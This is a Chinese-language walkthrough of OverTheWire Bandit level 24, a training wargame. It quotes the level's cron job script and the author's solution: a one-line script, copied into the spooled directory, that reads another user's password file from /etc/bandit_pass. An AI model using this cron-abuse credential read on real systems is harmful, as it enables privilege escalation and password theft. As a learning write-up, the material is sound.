我们打开lv23-lv24,查看信息


OverTheWire攻关过程-Bandit模块24_shell脚本


机器翻译


一个程序定期从基于时间的作业调度程序cron自动运行. 查看/etc/cron。d/对于配置,看看正在执行什么命令。


注意:此级别要求您创建自己的第一个shell脚本。 这是一个非常大的一步,当你击败这个级别时,你应该为自己感到骄傲!


注意2:请记住,您的shell脚本一旦执行就会被删除,因此您可能需要保留一个副本…


开始写脚本

参考网上大神


我们登陆服务器


OverTheWire攻关过程-Bandit模块24_shell脚本_02


 发现空文件


OverTheWire攻关过程-Bandit模块24_删除文件_03


查看cronjob_bandit24的文件内容


OverTheWire攻关过程-Bandit模块24_删除文件_04


在cat文件内容


OverTheWire攻关过程-Bandit模块24_shell脚本_05


代码如下:


#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo || exit 1
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -rf ./$i
    fi
done


这个脚本执行的任务是:切换到/var/spool/bandit24文件夹,然后遍历所有文件,并且执行这个文件,如果遇到用户是bandit23的话,先执行,持续一段时间,然后再删除文件。


那我们查看文件属性


OverTheWire攻关过程-Bandit模块24_shell脚本_06


脚本代码为


#!/bin/bash
 
cat /etc/bandit_pass/bandit24 > /tmp/bandit24pass


cd到tmp


OverTheWire攻关过程-Bandit模块24_shell脚本_07


vim ./get_pass.sh


OverTheWire攻关过程-Bandit模块24_shell脚本_08


#!/bin/bash
 
cat /etc/bandit_pass/bandit24 > /tmp/bandit24pass


复制到/var/spool/bandit24里面


cp ./get_pass.sh /var/spool/bandit24/


OverTheWire攻关过程-Bandit模块24_删除文件_09


不知道为什么老是有权限问题


OverTheWire攻关过程-Bandit模块24_删除文件_10



OverTheWire攻关过程-Bandit模块24_shell脚本_11


折腾的东西


需要到下一级目录foo


获得密码


OverTheWire攻关过程-Bandit模块24_bash_12